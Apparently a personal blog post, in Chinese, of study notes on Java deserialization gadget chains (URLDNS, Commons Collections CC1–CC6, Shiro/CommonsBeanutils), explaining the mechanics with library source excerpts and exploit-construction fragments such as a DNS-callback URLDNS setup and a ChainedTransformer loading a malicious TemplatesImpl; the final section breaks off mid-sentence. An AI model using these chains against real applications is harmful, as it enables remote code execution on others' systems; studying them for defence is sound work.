CC链 学习

OneZ3r0 Lv4

URLDNS入门链

正常手动触发DNS请求

1
2
3
String dnsLogDomain = "9707e182-0458-4f42-bec8-dc1fcc12555d.dnshook.site";
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://" + dnsLogDomain);

URL.class默认hashCode字段为-1,重写了hashCode方法,而且实现了java.io.Serializable接口

1
2
3
4
5
6
7
8
9
10
11
12
13
public final class URL implements java.io.Serializable{
private int hashCode = -1;
transient URLStreamHandler handler;

// synchronized 同步锁,确保多线程hashCode时只有一个线程进入,避免重复计算
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}
}

tips

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 假设多个线程同时调用URL对象的hashCode()
Thread thread1 = new Thread(() -> url.hashCode());
Thread thread2 = new Thread(() -> url.hashCode());
Thread thread3 = new Thread(() -> url.hashCode());

thread1.start();
thread2.start();
thread3.start();

// 由于synchronized,执行顺序可能是:
// 1. thread1进入方法,发现hashCode=-1,开始计算
// 2. thread2和thread3在方法入口处等待
// 3. thread1计算完成,设置hashCode=12345,退出方法
// 4. thread2进入方法,发现hashCode≠-1,直接返回12345
// 5. thread3进入方法,发现hashCode≠-1,直接返回12345

这里的handler是个抽象类,里面重载了从Object继承的hashCode方法public native int hashCode();

在这里面InetAddress addr = getHostAddress(u);会对url进行解析host的ip address,所以会有dns请求,请求完后,在URL类中,hashCode被重新赋值,hashCode = handler.hashCode(this);,不再为-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public abstract class URLStreamHandler {
// 多了传参u
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}
}

想办法通过反序列化自动触发

目标是反序列化某个对象的时候,能对一个URL类的hashCode方法调用

首先HashMap可以被序列化,其次他重写了readObject方法,会对key进行hash->hashCode操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
...

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

由于我们要把一个URL对象放入HashMap中,而put的时候也会对key进行一次hash操作,所以我们需要在put前,把URL对象默认的hashCode=-1改成别的,put进去之后再改为-1,这样就能在反序列化的时候触发一次,而不是本地put的时候就触发了

CC链图解&复盘

image-20250930154525925
image-20250930154525925

中途核心:

  • LazyMap
  • ChainedTransformer
  • InstantiateTransformer

CC1

环境配置 https://xz.aliyun.com/news/12115

TransformedMap::checkSetValue()

3.1-3.2.1 jdk版本小于u71

真是要忘光了,这玩意就CC1最绕

终点是InvokerTransformer::transform()可以任意代码执行,调用对象以及参数都要可控

往上找一层分别是LazyMap::get()TransformedMap::checkSetValue()

image-20251126204726675
image-20251126204726675

tips

TransformedMap::put()也能触发TransformedMap::transformValue()最后触发tranform()

1
2
3
4
5
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

TransformedMap::checkSetValue()在setValue()中使用,看这里的

image-20251126210418306
image-20251126210418306

如果要走EntrySetMapIterator::setValue(),就得找个readObject里面能遍历entry且调用setValue的

正好刚刚找到的AnnotationInvocationHandler::readObject里面就有这样的操作

image-20251126212533864
image-20251126212533864

CC1v2

AnnotationInvocationHandler本身是一个InvocationHandler,可以用于动态代理,当proxy的对象执行方法时,会自动调用handler的invoke方法

用一个memberValues为LazyMap的handler去代理一个Map

然后把这个proxyMap放到entranceInvocationHandler里面

在entranceInvocationHandler.readObject的时候,会触发proxyMap.entrySet()=>handler.invoke()=>memberValues.get()

1
2
3
4
5
InvocationHandler proxyAnnotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, decorateMap);
// 要代理对象的类加载器,要代理对象的接口,handler
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, proxyAnnotationInvocationHandler);

Object entranceInvocationHandler = constructor.newInstance(Target.class, proxyMap);

CC3

前面入口用proxyhandler进入LazyMap.get()打TemplatesImpl

3.1-3.2.1,jdk7u21及以前

我们先简单回顾一下TemplatesImpl是如何加载字节码的

Java程序编译和执行流程:

1
.java 源码 → javac 编译 → .class 字节码 → JVM 加载并执行

Java字节码指的是JVM执行使用的一类指令,格式为二进制文件,通常被储存在.class文件中

在类加载中我们知道Java加载都需要经过:

1
ClassLoader.loadClass -> ClassLoader.findClass -> ClassLoader.defineClass

其中:

  • loadClass的作用是从已经加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的作用就是根据基础URL制定的方式来查找类,读取字节码后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的类

恶意类加载核心

TemplatesImpl利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码

1
TemplatesImpl::newTransformer()->TemplatesImpl::getTransletInstance()

这个getTransletInstance()很关键,完成了两个工作

  • 加载类:defineTransletClasses(),在这里面通过自己写的TransletClassLoader中的defineClass走到原生的ClassLoader::defineClass(),但是单单加载类是无法执行自动执行类的构造代码块、静态代码块、构造方法的,实例化才行
  • 实例化一个对象:_class[_transletIndex].newInstance(),这让我们能够在类初始化时实现恶意代码执行
1
2
3
4
5
6
7
8
9
10
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

为了能够成功的走完defineTransletClasses,获得_transletIndex = i;,在接下来实例化时才不会报错NullPointer

我们defineClass加载的类必须有superClass.getName().equals(ABSTRACT_TRANSLET)——即需要extends AbstractTranslet

接下来就是从TemplatesImpl::newTransformer()往回找链子就行

  • TrAXFilter,这个只需要调用它的构造方法就行了,这个无法序列化,怎么办?
  • TemplatesImpl::getOutputProperties,这个能序列化,但是链子往前找到头了

instantiateTransformer,它的transform方法可以动态创建对象,可序列化

既然是transform方法,那就和cc1前半段一样了

1
2
3
4
5
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
// 这里的templates为我们的恶意TemplatesImpl

CC6

HashMap.readObject()=>TiedMapEntry.hashCode()

3.1-3.2.1,jdk1.7,1.8

在JDK-8u71版本之后,cc-1的关键漏洞点AnnotationInvocationHandler.java的readObject方法做出了修改

删除了原来for遍历entry最里面的memberValue.setValue()

但是LazyMap.get仍然可以触发

由于put的时候会走到hash(tiedMapEntry)=>TiedMapEntry::hashCode()=>TidMapEntry::getValue()=>LazyMap.get()导致提前触发

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

所以需要在put前让tiedMapEntry的key不为装饰的lazyMap,put完后再改回去

1
2
3
SerUtils.setFieldValue(tiedMapEntry, "map", new HashMap<Object, Object>());
hashMap.put(tiedMapEntry, "onez3r0");
SerUtils.setFieldValue(tiedMapEntry, "map", decorateMap);

CC5

BadAttributeValueExpException反序列化去触发LazyMap.get()

CC2

没啥用其实,记着CC4就好了

PriorityQueue.readObject()=>TransformingComparator.compare()

只能打Commons-collection4:4.0

CC4

CommonsCollections4 除4.0的其他版本去掉了InvokerTransformer的Serializable 继承

CC4只是将CC2中的InvokerTransformer替换为了InstantiateTransformer

ShiroCB

ClassLoader.loadClass 无法加载数组类

Class.forName可以加载数组类

用TemplatesImpl.newTransformer可以不使用Transformer数组

无依赖CB打法,需要注意comparator如果为null的话就相当于还是依赖cc

image-20250930171157481
image-20250930171157481

完全jdk自带comparator打法

我们可以beanComparator可以传入一个comparator

思路就是找到一个jdk原生的comparator(使用了comparator),而且使用了序列化接口

然后就找交集,找了一个Attra

  • 标题: CC链 学习
  • 作者: OneZ3r0
  • 创建于 : 2026-01-15 14:15:11
  • 更新于 : 2026-05-05 18:31:44
  • 链接: https://blog.onez3r0.top/2026/01/15/java-cc-learning/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。